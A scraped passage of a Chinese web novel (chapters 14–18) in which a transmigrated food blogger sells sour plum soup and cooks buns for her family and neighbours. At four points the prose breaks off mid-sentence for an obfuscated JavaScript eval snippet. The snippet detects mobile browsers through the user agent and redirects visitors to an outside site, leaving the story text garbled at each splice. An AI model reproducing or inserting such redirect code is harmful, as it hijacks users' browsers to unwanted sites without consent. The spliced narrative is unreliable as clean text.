一人端了碗酸梅汤靠在墙边阴凉处，一小口一小口地斯溜，但喝得再慢也总有喝完的时候，他不舍地将最后一滴水舔进嘴里，眯着眼细细回味，好半晌才慢慢走过来把碗还了。 “明儿个还开张吗？” 不愧是曾经风靡整个世界的配方，经过今天这一遭，白景已经毫不怀疑它对人的吸引人。本来还担心自己不能做出几分真味，所以第一次就没做太多，现在看来销路还不错。 白景回道：“巳时左右开门，您可以自己带个罐子或水壶来。” 一碗四到八文，这两桶卖了大概两百碗，虽然以四文的居多，但也有五六百文的收入了。 成本才多少？ 大海碗三十余文，酸梅汤原材料不到一百文，还有今天刚买的百来文碎冰，冰糖是系统奖励不要钱。 再就是几文柴火钱…… 酸梅汤的食材和碎冰花费是大头，但照今天这销量，明天就能收回本钱开始盈利，从后天开始再卖就是纯利润。 而且…… 白景的目光移向右上角收起来的美食系统任务面板，新手任务二的进度已经推进了一半，明天就能完成任务激活系统。 根据系统说明书上的介绍，一般这种美食类金手指主要分为两个方向：一是直接向宿主出售各类美食或特殊食材，二是给宿主提供食谱或厨艺练习空间。 二者各有所长，也各自还有具体的分支，有的甚至还兼具两种特点。 白景不知道她抽到的这个美食系统属于哪一种，不过她倒希望是第二种。到底是混这行的，她手中各种菜谱秘方随便数数都能讲出来几百种。 现在依靠配方还能出奇制胜，等以后做的菜原来越复杂，对基础功要求也越来越高的时候，她的短处就会严重拖后腿。 理论和实践的差距，白景相当清楚，那大概就是碎豆腐渣与文思豆腐之间的差别。 * “三百五十三，三百五十四……五百一十四，五百一十五……五百七十二！”白母和福伯凑在一起，又一次数出了相同的数字。 “景儿，我们今天赚了将近六百文呢！” 白景正在淘洗乌梅，为明天的产品做准备，听到母亲高兴的叫喊不禁摇头失笑：“不过是半两多银子，以前您掌家的时候，一天过手几百上千两，也没见这么兴奋。” 白母斜睨她一眼，嗔道：“这哪能一样，现在这五百多文可是咱们一文钱一文钱收进来的，从前只看看账本，哪有这实在。”她顿了顿，才又说，“这是你赚的，代表着你安身立命的本事，为娘这提着的心也能放下一些了。” 白景没料到会听到这样一句话，手不由得一顿，才若无其事地回道：“以后咱们会越来越好，比那几个白眼狼过得更好。到时候他们哭着求着把家业奉上，只怕阿娘还看不上呢。” 白母轻哼一声：“就你贫嘴，那是你爹辛辛苦苦打下的基业，就算烂手里、砸了，也不能留给那几个狗东西！” 白景怕又戳了她伤口，自是顺着她说好好好。 有了进项后，几人嘴上不说，其实都轻松不少，连干起活来都格外有劲儿了。 “等卖出名头后，我们就可以添置新菜了。”白母嫁给白父多年，也是有些心得的，“附近大多都是主食，想打响牌子，就要做他们没有的东西。” 白景对此相当认同，不然也不会选择酸梅汤开局。 “趁着现在市场空缺尽快立住品牌，我们卖得这样好，要不了多久就会有人跟风。” 白母也是做惯了餐饮业，对此很有体会，只是厌恶地皱皱眉头便没再纠结。 不过…… “就怕他们故意压价。” 白景倒是很看得开：“哪里都有这种损人不利己的人，我们下的本钱高，若是跟着往下压价钱得不偿失。有人不挑嘴，也有人吃惯了好东西不能接受次品。开门做生意，不可能抓住所有的顾客。” “快到饭点了，昨天晚饭忘记把炸好的猪油渣拿出来，今天中午就加点酸菜，吃猪油渣包子吧。” 白景把铜板扫进带锁的木盒里，起身拿了口碗往外走，“我去梅姐那儿借点老面。” 说话间，人已经迈出了门槛。 “梅姐。” 隔壁烧饼店，梅娘正提着鸡毛掸子撵两个小崽子呢，就听到门外传来熟悉的声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763936|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“诶，来了。”梅娘头也不回地应声，瞪了一眼还在往嘴里塞零嘴的俩小孩，“明天的零嘴没了！” 说完转身拉开了门，她笑容满面地把人迎进来：“可算是忙完了，我今早还在担心你的生意呢，没想到这么红火。” 白景拿着碗进来，也是笑道：“多亏了你跟我讲的消息，不然也不能正赶上这押粮队。” 梅姐对这话很是受用，但也没真的把功劳揽在身上，卖吃食的，考验的就是真本事，做的不好吃，就是大酒楼都得倒闭了。 “可算不得什么，这都是你的好手艺。”说着就转了话题，“拿了碗过来，可是缺了什么？” 白景便道：“中午想做几个包子，才想起来忘记准备老面了，就厚脸到你这儿借点。” 梅姐闻言转身就往案桌走去，边走边说：“你可找对人了，我这里日日制饼，别的不多，就面多，面团要不要也给你拿点儿？” 白景：“那我就不客气了。” 她没推拒，梅娘的脸上笑意反倒更深。 “我就不爱那些三推四请的，就好像我求着他收一样，还是妹子爽快。” 说着手起刀落，就从案上切了一大团发好的面团，把大海碗都装得冒尖儿了。 白景接过碗，微微坠手，估摸着快有两斤了，这个分量，如果包子馅多塞点，能做十来个比拳头还大的大包子了。 按照他们家三人的食量，别说中饭，连晚饭都能一起解决了。 “那我就先走了，回见。”跟梅姐告辞后，白景两只手捧着碗很快就回了小院。 白母见这一大碗面都是一惊：“这么多？！” 白景解释了之后才明白过来，这是揉好的面团，不是用来发酵的老面。 “这面揉得可真好。” 一份揉得好的面团，表面光滑不开裂，恢复快弹性大。 白景在砧板上洒了一层面粉，把面团移过去，轻轻一戳，几个呼吸间，面团表面的手指印就消失不见，揪下一团扯开对着光，已经薄得透光了还不破不裂。 管中窥豹，仅仅是从面团这一细节，就可看出梅姐家的烧饼有多好，难怪客似云来。 省了揉面与发酵的时间，再炒好馅料就能开始做包子了。 15. 猪油渣酸菜包（二） 白景把切剂子的任务交给白母，自己去添柴烧火，往锅里舀了一勺凝固的猪油，用小火慢慢融化。 接着另取了块砧板，把昨晚剩下的猪油渣倒在了上面。 用来做包子的内馅，要剁得细细的，不然吃起来就会硌嘴，尤其是过了夜的猪油渣，若是不好好处理，更是跟石子儿似的。 白景把其中一半剁得跟肉沫似的，把另一半剁得稍粗一些，然后分开装到盘子里备用。 又从坛子里取了一颗酸菜出来横着切成几毫米宽，又竖着切碎，把菜梗和菜叶分开放入盘中。 这时候锅里的猪油已经融化了，在热气中腾起丝丝荤香。白景起身添了柴，把灶烧得旺旺的，擦了把手先呛了几颗蒜，等又香又冲的味道扑面而来，立刻就往锅里加菜。 先倒进去的是更粗的那部分猪油渣，本来有些冷硬的油渣被热油一激又重新变得焦脆，白景眼疾手快地把酸菜梗下了，另一只手拿着锅铲快速翻炒，等酸味与焦香味混合了大半，就立刻把剩下的酸菜叶也倒入锅中。 酸菜叶脆嫩，熟得快，她只翻炒几下就把油渣沫也添了进去。 这时白母也分好了剂子，坐到灶台后拉起了风箱，火烧得更旺了。 白景就着这火不停地翻炒，最后沿着锅扫了一圈水，盖上盖子略闷了闷，就取大碗出锅了。 说实在的，这碗馅料整体呈现浅褐色，卖相并不出众，不过与之不同的是它浓郁而霸道的香气，丝毫不输昨天那道骨头汤，甚至还比骨头汤更多了些爆炒后的张扬。 “闻着酸辣酸辣的，还带着点焦味肉味，口水都要下来了。”白母顾不上烫手，忙不迭把包子馅捧到一旁的大桌子上，那里已经一切准备就绪，就差把馅塞进小面团里了。 说起来，这还是白景第一次在这个时代做包子，距离她上次做包子已经过了起码四五年了。 要问她什么感受，那就是理论和实践有一定差距。 手生了。 凭借着丰富的理论经验和忘到不知哪儿的实践经验，好歹把馅都裹进去了，也没出现新手常见的破皮、流油等问题。但卖相就不敢恭维了，只能说幸好是自家人吃，能安慰自己进肚子都一样。 不过本来就会的技能捡起来比初学者快，第一个还只是勉强成型，第二个就圆圆乎乎了，再到第三个连褶子都做的有模有样。 包子做完了，十二个大包子，在大桌子上排了三排，从第一个勉强封口的一坨，到第三排扭成花朵样的褶子，对比十分明显。 白母见了直乐呵：“我们家小景真是个天才，学什么都快。” 白景本想剩着一半面团，晚上做生煎包，但想想还是作罢。生煎包要做得好吃，难度可比蒸包子大多了，她目前的手艺还得再练练。 反正用熟包子煎相差也没那么大……吧。 白景略有些心虚地想。 接着就是蒸包子，主要是火候和时间问题，这对有系统辅助记录的白景来说，反倒是最简单的了。 慢慢的，蒸笼里开始飘出香味，一丝丝一缕缕地往人的鼻子里钻。 * “小心烫小心烫。”在白母连呼声中，白景从灶上捧下了蒸笼。 掀了盖子后直接拿扇子呼啦呼啦地一通扇，等最上头的热气吹开了，热包子也拿得起来了。 白景挑了几个好看些的单独装了：“阿娘，这几个拿给梅姐吧，这么多包子咱们三个人今天也吃不完。” 来这里三天，梅姐一家跟她们来往最多，跑前跑后地帮忙，连今天做包子的主料都是她送的，是该回馈一些。 白母拿了包子，又到井里提了一壶酸梅汤上来。留着自家吃的酸梅汤，没加冰，但一直浸在水里也是冰冰凉凉的。 隔壁店内，梅姐正烤好了烧饼，准备给丈夫送午饭，顺便再带些水过去。 他做活的东家黑心得很，干干硬硬的粗饼子加一壶茶沫子泡的粗茶都要收八文钱，一天拢共才赚多少钱？所以大家都不乐意在东家那儿吃。 离得近的，就家里人送一顿；离得远的，就自个儿带些饼子。 梅姐正点好东西，叮嘱两个小的呢，门外就传来动静。 转头一看，是个有些年纪的妇人。 她笑着走来：“梅娘子，我是隔壁‘闻香来’的，这两天多亏你照顾我们家白景。今日包子做多了些，给你送点来尝尝鲜。” 梅娘不成想刚送出去的面团，这么快就回了礼。 “这怎么好意思呢。” 白母把碗放下，看着她装了一篮子的烧饼：“给夫郎送午饭？可以给他带几个包子换换口味啊。这大热天的，吃点酸的开胃。”她又提了提手里的水壶，“刚从井里拿出来的酸梅汤，酸甜爽口，下饭正好。” 这一句句都说到心坎上了，梅姐想拒绝都不舍得，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763937|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气中带了点不确定：“那就带去尝尝？” 白母见她接了过去，笑得更高兴了：“拿去，都拿去，要是不够，我去给两个小的再拿个过来。” 这次梅姐拒绝了。 这包子大得很，她吃一个就能饱，两个小孩一人小半个都尽够了。 * 隔壁大街一家商铺里，梅娘提着篮子熟门熟路地绕到巷内的小门，那里有五六个男人正就地坐着闲聊。 有人对着巷口，眼尖地看到梅娘，便叫起来：“梅娘，今天比之前晚了些，我肚子都唱完好几处戏了。” 梅娘啐了一口：“饿不死你，每回就你叫得响。”说着脚步一错，就跨过了几人，走到一旁在石阶上坐着的男人身旁，掏出帕子给他先擦了擦汗。 “当家的，喝口酸梅汤润润嗓子。” 这一幕顿时引来一片起哄声， “哎哟~不得了不得了，这有婆娘疼的男人就是不一样啊。” “看到没，以后就得像老张这样，讨一个做饭好吃又会疼人的媳妇儿。” 梅娘的丈夫姓张，因多年卖烧饼，人称“烧饼张”，熟人大多老张小张地混着叫。 与泼辣热情的梅娘不同，烧饼张是个寡言腼腆的性子，听到这调侃也只是不好意思地抿了抿嘴。 转头小声问梅娘：“今天怎么不是烧饼？我在这里活儿也不重，用烧饼对付一顿就能过去，这几个大包子加上酸梅汤得好几个钱了吧。”说到后来已经藏不住肉疼。 梅娘知道他节省，这一两年在给儿子攒束脩钱，更是恨不得一文钱掰成两文花，凡事能省则省。 她一边给工友们分烧饼，一边给他解释：“是隔壁小娘子送过来的，今天来找我借老面，都快饭点了，又是揉面又是醒面的，等做好不知道要什么时候，就干脆给了她一团面。” 烧饼张喝了几口酸梅汤，点头：“那小姑娘是个记恩的，昨晚又请咱吃了饭，是该给点方便。” 梅娘分完烧饼又一个个从工友手里收了烧饼钱，“那可不，我本也没想得什么。那小娘子做了包子还让人送了几个过来，我都看了，里头还加了肉呢。” 烧饼张忙了一早上，已经饿得前胸贴后背了，成年男人拳头大的包子，他一口就咬下小半个，第一口囫囵嚼了嚼就往肚子里吞，连味道都没尝出来。 一口，两口…… 嗯？什么这么香？ 16. 猪油渣酸菜包（三） 他舌尖动了动，猪油渣的焦香味从口腔中品味出来，荤油带来的腻味被酸菜很好地中和，配上柔软蓬松的包子皮，显得格外的适口。 烧饼张没说话，连往日吃一口烧饼喝一口水的习惯都抛到了脑后，一口接一口地吃着包子，直到三个大包子下肚，他还意犹未尽地舔舔手指，吮干净最后一点汤汁。 工友们在他吃第二个包子的时候就注意到了。 烧饼张在他们一群人中一直是讲究人，别人狼吞虎咽的时候，他都是慢条斯理地撕下一块慢慢吃，还是第一次见到他这么凶的吃相。 见他停下来，便有人问了：“诶，老张，你这一口接一口的，这包子比你做的肉烧饼都好吃？” 烧饼张吨吨吨灌了半壶酸梅汤，一抹嘴巴长长地舒了口气。 “舒坦。” 他没接话，先叮嘱梅娘，“这酸梅汤够味儿，你回去先赶紧把明天的份定下，我来上工带一壶过来。” 等梅娘应下，他才转头跟工友说话。 “那可不，这包子香的，老张我走南闯北就没吃到过几次这么好吃的。京城那家大名鼎鼎的仙客来，一个包子就要半贯钱，跟今天这几个吃起来也大差不差。” 末了又说，“要是用的料足一些，我觉得比那家都好吃。” 烧饼张早年在京城大酒楼做过小学徒的经历，可是这小城里传遍了的。 他不过是被大师傅指点了几句，回到这里就能开家回头客无数的食铺，可见那仙客来酒楼的本事。 所以当听到他这番话的时候，其他人都嘻嘻哈哈的没当回事。 “老张你吃了这么多年烧饼，只怕给你刨条草根都能夸出花儿来。” “就是，仙客来那是什么排面，听说连皇帝老儿都夸过，拿着几文钱的包子比，你也不怕被人笑掉大牙。” 烧饼张本来只是顺口感叹一句，但他们都质疑他，这逆反心理一下就上来了。 包子总共就三个，刚才全进了他的肚子，手边就剩一个喝了一半的酸梅汤。 “不说包子，就这酸梅汤，谁家都能煮，大家也都喝过。但这一壶，绝对是酸梅汤里的极品，我敢打包票，这方子放在大酒楼里也是压箱子的绝密。” 他这么死命一吹，一部分人嗤之以鼻，但也有一部分人还真被挑起了兴趣。 烧饼张就给这部分一人分了一小杯，嘴里还念叨着：“真是便宜你们了。” 看到水壶里又少了一小半的酸梅汤，他心疼得直抽抽，忙不得把剩下的部分倒进了随身的水囊里小心放好。 “怎么样？”没有喝到酸梅汤的人好奇地问舌头最灵的老李。 被注视着的老李用前所未有的慢速度一小口一小口地喝，脸上还带着沉醉的表情。 但即便他喝得再慢，就那么小小一杯，很快就见底了。 最后几滴酸梅汤混着泛滥的口水咽下，老李忙舔着脸凑到烧饼张身旁：“张老哥，你这饮子真是这个！”他竖起大拇指，“再给小弟来点儿呗。” 他一凑过，烧饼张就第一时间捂住了腰间的水囊，连连摇头：“不行，我就剩一个底儿了，下午就指着它熬日子，真分不出来了。” 梅娘在旁边确定明天午饭的烧饼订单，转头见丈夫被好几个人围着，只能窘迫地往后退，忙冲过推开他们， “干什么！干什么！我给我们当家的带饮子，你们还想强抢啊！给钱！八文一壶，拿来！” 就剩几口的饮子，八文！ 连黑心的东家听了都要倒吸一口气。 几人也只是想多蹭几口，这一说到钱，就纷纷矮了气场。 “梅娘，别介，我们就是开开玩笑。” “啊对对对，就是玩笑，玩笑。都这么熟了，我可一次都没赖过你的账。” 梅娘却说：“你们要实在馋得慌，明天巳时去铺子里卖，就在我家隔壁，往外卖的还带着冰哩。” 白景有好东西记得她，她也乐意投桃报李，当即就把酸梅汤的情况细细说了。 “连运粮队都买了好些，小叶管事一个人就买了九十文酸梅汤。”她比划手指，“整整九十文！” * 梅娘上门订货的时候，白景正在厨房熬制明天的酸梅汤，是白母接待了她。 两人都是敞亮的性子，寒暄几句就直奔主题。 白母本名莫兰，两人互通姓名后，梅娘就唤她一声兰姨， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763938|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此这般把给几位工友带酸梅汤的事儿给说了。 “真是好事儿啊，多谢你给我们闻香来打广告了。酸梅汤喝着可还好？等会儿出锅了你来打一壶去，温温凉凉的给孩子喝正合适。” 梅娘也没推辞，顺口就应下了，玩笑道：“这天气热，正缺这口开胃，我一定带个大壶来。” 这不是什么大问题，白母自然一口应下，又问她傍晚有没有空，想去买些面粉回来。 她这一说，梅娘就明白了。 他家烧饼店常年需求大量面粉，跟粮食铺子定了长期订单，买面粉的价比那些散客便宜两文，别看不多，这经年累月下来，也是一笔不小的开销。 梅娘又问：“用的量大不大？若只是自家吃食，从我这里匀几斤就尽够了。”但若是要做长期的买卖，那还是去铺子里签订单更合适。 “还没决定呢。”白景掀了帘子出来，手里还托着一个托盘，她两人面前各放了一杯水，笑盈盈地解释，“我琢磨的这样吃食要用的调味品多，做起来又麻烦，还没拿准要不要加入新菜式。” 梅娘点头：“是这个道理，你们刚落脚，急忙忙去琢磨新菜式不讨好，还不如先把这酸梅汤的买卖先做好。” 之后又把给工友订货的事给重复了一遍，她也看明白了，这家里虽然有男人有老娘，但真正做主的还是白景这个面嫩的小姑娘。 有人主动帮她打开销路，白景求之不得，听了这事立马就应下了，“自然可以。”又道，“我每天多给张哥留一份酸梅汤，八文钱的那种，加冰！就当给你们的谢礼了。” 做生意有来有往是很正常的事，梅娘也没推辞，定下了明天出发的时间就起身告辞了。 目送她离开，白景喊来福伯：“明天你拎着大水壶跟梅姐一起去，多带点酸梅汤，看到有人在就送他们一些。” 福伯点头表示明白。 以前白父还在的时候，白家的仙客来酒楼开发新菜品时，就会请过路的行人品尝，一来是广而告之要上新菜了，二来也有给新菜试水的意思。 按照白景的理解，这就是前世的新品试吃。 福伯跟着白父多年，这些小门道不比白景知道得少。 17. 水煎包 今天卖的好，白景打算多煮一桶酸梅汤，慢慢的也就到了夕阳西下的时候了。 夏天日头长，就算太阳下山了天也还能亮挺长时间，所以大家也都习惯了晚些吃饭。 白景三人把两大桶酸梅汤放到一旁晾着，打算等热气散了再放到井水里降温。 “梅姐，酸梅饮子好喝嘞。”白景直接在门口探头喊了声。 隔壁烧饼铺就传来了回应：“来了。” 梅姐来的很快，白景才刚把灶台擦干净，连锅碗瓢盆都还没开始洗，她就拎了一个水壶进来。 白景取了碗给她打酸梅汤，冒着热气的酸梅汤隔着木桶也烫手。 梅姐站在一旁看着她打水，顺口闲聊几句：“今晚吃什么？要不去我家吃烧饼。” 白景将最后一点酸梅汤填满水壶，把端子挂到一旁才回道：“中午做的包子还有一小半，晚上拿猪油煎一煎，配上一盅酸梅汤就对付过去了。” 梅姐就没再说什么了，她家里也就是这么吃的，中饭晚饭吃的烧饼都是早上用剩下的馅儿和面团。像昨晚那样丰盛的吃食，那是只有来客人或逢年过节才有的待遇。 又闲扯了几句，等水壶没那么烫了，梅姐就拎了水壶起身：“我先走了。” 白景忙着刷盆没有送她，只提高声音喊一句：“慢走。” * 天边的余晖一寸寸收敛，屋子瓦舍间也渐渐飘出缕缕炊烟。 白景起锅烧起热油。 几个大包子被吊在井里，除了表皮微微发硬外，并没有变味。 白景把装了小葱的篮子一起提上来，就这井水洗去浮尘，等进了厨房猪油正好化开。 她用油刷把猪油均匀刷在锅底，将刚拿出来的大包子一个个整齐地摆放在锅底，然后下意识退后一步左右观察并把其中一个不太平整的包子转了个面。 等做完这一串动作，白景才反应过来，现在已经不需要拍摄视频了。 前世是观赏类美食博主的她，总是无意识关注制作过程的可看性。 “还真是职业病。”她有些懊恼地一拍脑门。 把灶膛里的柴火退了一根，只保持着小火，慢慢煎着。 炙热的油温烘烤着包子，边缘冒出浅金色的小泡泡，包子底部由嫩白色慢慢转为焦黄色。 趁着这时间，白景取了一撮面粉加水调了一碗面粉水，打着圈儿倒进锅中，然后盖上盖子焖煮。 面粉水能让煎包的口感更加酥脆，白景以前吃水煎包的时候，最喜欢的就是底部焦焦脆脆的那一层。 焖煮至水分收干，锅里开始响起“滋啦滋啦”的声音，白色的雾气一阵阵升腾而起。 混合这焦香、油香和包子的鲜美味道，慢慢朝窗外飘去，然后悄然像周围扩散。 “什么东西？好香。” 这突如其来的香味，让本就处在饭点的人们忍不住地分泌口水。 有些人还没用饭，就空着手，有些人吃得早些已经端上了碗，但他们都不约而同地被这股香味吸引，闻着味儿找过来。 有昨天来过的人一看到熟悉的店面，脸上就露出无奈之色， “怎么又是他家啊。” “好香，这是卖什么的？我得买点尝尝。”有第一次来的路人死劲吸气，恨不得把所有香味都吸进肚子里。 旁边就有人给他科普了，“他家啊，卖酸梅汤的，这么香的菜品，可惜就是不卖。” 路人就震惊了：“不卖？！有这手艺，只要开了门就等着收钱了，有钱都不赚？” 旁边另一个人听到这话就插进来了，也跟着叹气：“谁说不是呢，昨天晚饭比这还香。我们当时捧着碗在路这边蹲了整整三排，口水直流，那场面叫一个壮观。” “有人按捺不住去问老板卖不卖，嘿，你猜怎么着？”那人卖了个关子。 路人很上道地追问：“怎么着？老板说什么了？” 他一拍大腿，愤愤道：“老板说明天开业，嘿，我大早上就去等着，结果他愣是到巳时才开门，卖的还是酸梅汤！你说气不气人。” 路人：“那你买了吗？” 那人：“……买了一碗。”他不好意思地挠挠后脑勺，“还真挺好喝的，我第一次喝到这么好喝的酸梅汤，可惜早上要去上工，赶不上了。” 旁边众人听到他这样都还记挂着那酸梅汤，也琢磨着抽空去买一碗尝尝。 “今晚做了什么，这么香？”白母带着福伯走进店门，就闻到一股浓郁的香气，不由惊喜道。 福伯嗅了嗅，早年他跟着白父打下手没少见识各色吃食，闻了一下就猜道：“闻着倒像是煎包，却多了股不一样的焦香。” “早前老爷还可惜小姐身子不好，不能继承他的衣钵，没想到现在也能靠本事养活一家子了。”说起旧主，福伯眼角泛出了些许泪花。 白母的表情没变，只语调沉了些：“进去吧，把情绪收收，免得景儿担心。” 故人已逝，活人还得继续生活，两人在店里的饭桌前略坐了坐。 伴随着越发浓郁的香气，心中的悲伤也在快速退去。 “水煎包来啦~” 后厨的帘子被掀起，白景端出盘煎得金黄的大包子。放下盘子后，她又从旁边的柜子里取出三副碗筷，一一摆好。 “我去拿壶酸梅汤出来。对了，要不要来碟小香醋。” 白景没有吃包子蘸醋的习惯，但也知道很多人觉得水煎包必须配上醋才算完整。 白母：“我不用。” 福伯：“那就给我来一小碟吧。很久没吃煎包了，怪想念的。” 白景走进厨房，打开柜子取出香醋倒了一碟，陈醋特有酸味瞬间蔓延开来，让她下忍不住后仰避了避。 这算是她在饮食上的怪癖了，喜欢酸辣鱼糖醋排骨醋鸡等加了陈醋的食物，却一直闻不惯单独的醋味。 等白景端了醋在饭桌前做好，马路对面的一大群人也捧着饭菜找好位置了。 “开始了开始了。” “还好我机灵，带着饭来，别说，这味儿真下饭。” 那人捧着饭碗狠狠扒了口饭，眯着眼细细地咀嚼，闻着这香味再吃一口饭，就好像真的吃到了一样。 “真香啊。” 福伯夹了一个煎包，习惯性的先观察了它的外形。白家的仙客来主攻高端生意，来往的都是达官显贵，是以每一道菜都力求完美，而卖相就是第一印象。 只见这包子煎得金黄金黄的，底部带了一层焦黄的酥脆，黑亮的芝麻和翠绿的葱花点缀在表层，轻轻咬一口，油渣的肉香、焦脆的油香、酸菜的咸香、还有葱香与芝麻香喷薄而出，瞬间霸占整个口腔。 他双眼大睁，直接楞在当场。 天爷诶，这真的是煎包吗？ 这香浓鲜嫩的口感，这复杂多层的味道，这竟然真的是煎包！还是中午吃剩下的包子煎的！ 白景见他吃了一口就愣住了，心里不免有些惴惴。 说实在的，她的手艺在美食博主中都算不得顶级，更别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763939|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说跟专业大厨相比了。之前那几道菜被称赞，八成是占了做法和菜方的便宜。 这不，现在一做寻常的煎包就露怯了。 “福伯，不好吃你就吐出来，不要勉强自己。”说完还不忘回头叮嘱白母，“阿娘，你也别吃了，收拾收拾我们下馆子去。” 福伯不舍地咽下那口鲜香浓郁的包子，连忙解释道：“景姐儿，你误会了。这煎包没问题，它很好吃，真是太好吃了。我阿福走南闯北这么多年，还是第一次吃到这么好吃的煎包！” 白景闻言脸色一变：“娘啊，坏了，福伯被我毒傻了。现在医馆还开门不？我们赶紧找大夫去。” “啊？”福伯一时没反应过来。 “景姐儿，大小姐！我说的是真话！这煎包真的很好吃！夫人，您快尝尝，我阿福绝对没说假话。”福伯一慌张，旧日的称呼又跑出来了。 白母闻言立刻低头咬了一口。 ！！！ 这是煎包？！ 这也太好吃了吧！ 她只想不停口的继续吃，但想到还在等待结果的两人，只能暂时先放下心爱的煎包。 “好吃！太好吃了！景儿，不愧是我的景儿，果然天赋非凡。” 夸完一句，白母就迫不及待地低头吃包子了。 独留下傻眼的白景左看看右看看，怀疑地看向自己的双手。 ——难道她的手被加持过了，拥有碰一下就无比美味的特异功能？ 本来就被香气勾得蠢蠢欲动，又见到店里两人吃得跟饿死鬼投胎似的，这吸引力直接翻倍。 勾得几人按捺不住跨过了道路，凑到店门口问： “老板，你们家真的不卖其他东西吗？香得我口水都要掉下来了。” “今天的煎包，昨天的绿宽面，都可以一起卖的嘛。” “是啊是啊，老板你手艺这么好，都不用担心卖不掉赔本。” 面对一群人的殷殷期盼，白景不擅长拒绝人，就由福伯出面婉拒。 一番话圆滑委婉又坚定。 不仅没惹恼了众人，反倒让他们更添几分好感，纷纷表示等上了新品一定来买。 “福伯你真棒！”白景对着他竖起大拇指，“你可真厉害，像这种场面话我就一句也说不来。” 得到直白的赞扬，福伯笑出两道褶子，谦虚道：“这不算什么，见得多了就练出来了。想当年我也是腼腆的性子，见了生人连话都说不利索。小姐现在出来做事，多见见人自然就会了。” 白景笑了笑没说话。 她当初选择成为美食博主，就是因为这份工作跟人打交道少。 想了想她就放开了，前世二十多年养成的性格，不是一朝一夕能改的，现在也没紧急到必须要她长袖善舞。 就先这样吧，下回就下回再说。 白景：逃避可耻但有用。 收拾好碗筷，褪去灶膛里的火，三人合力把两大桶酸梅汤分批浸入了井中。 白景左右看看，仔细用木板盖住井口，防止有小动物或落叶不小心掉进去。 明天要定的碎冰比今天多了一倍，得叫上福伯一起去了。 不知道新手任务2里奖励的麻婆豆腐是什么意思，密不外传的配方？像小说中那样醍醐灌顶直接让她做出极品的麻婆豆腐？ 明天卖了酸梅汤就差不多够一千文了吧。 正式启动的系统，会有什么意外惊喜吗？ 带着一连串的疑问和对明天的期待，白景慢慢进入了梦乡。 18. 麻婆豆腐 今天想要去买点菜，白景早早就爬了起来，早饭就从梅姐家买了个烧饼填肚子。 怎么说呢，不愧是安身立命的绝活儿，吃起来真上头。要不是食量有限，她还想再去买一个。 跨上菜篮子，白景加快脚步往菜场走去。 说是菜场，其实不过是一条小巷子，两边摆满了一溜自家产的新鲜时蔬，菜叶子上都还带着露珠。 白景转了两个弯才走进来，要不是之前梅姐带她来过，还真不一定能找进来。 究其原因，不过是这里不用租子，对这些菜贩子来说，能省一大笔。 “小娘子，看看我这家的菜，可嫩可嫩了。” “豆腐嘞，细嫩的豆腐，一块只要一文钱。” “鲫鱼，新鲜的鲫鱼，陈记饭馆同一条河里的鲫鱼！” 白景目标明确，直接绕过热情的摊贩，在一处卖黄瓜的摊子上停下。 “大娘，这黄瓜怎么卖？” 摊主是个头发花白的大娘，卖的菜量不多种类也少，来往的人群极少在她摊子前停留，她就揣着手坐在地上，有人经过才有气无力地扯着嗓子喊两句。 见白景在她摊子前停下，麻木的脸上也泛出些许生气，忙不迭地招呼：“三文一根。”她捡起黄瓜递到白景面前，“小娘子瞧瞧，叶子都还带着绿，可新鲜哩。” 白景前世也做了不少菜，没少去菜市场，一打眼就看出，这黄瓜确实新鲜，估计是今天一大早刚从藤上摘下来的。 不过这价格…… “别人都是论斤卖的，你家怎么一根一根的？” 大娘竭力给自己推销：“我家的黄瓜是用河泥沤出来的，不像别家用屎尿，格外清甜。我给小娘子掰一段尝尝，不好吃你扭头就走。” 见她有所意动，大娘也是下了血本了。黄瓜少了一截，肯定是卖不出去了，粥如果白景不买，她就白白损失了这一根。 白景没有拒绝，接过黄瓜用帕子擦了擦，浅浅咬了一口。 一股黄瓜特有的清新在口中翻滚，还带着极淡的甜味。 不错。 “这些都包起来吧。” 大娘眉开眼笑，手脚麻利地把那十根黄瓜捆扎起来，放进白景的菜篮子里。 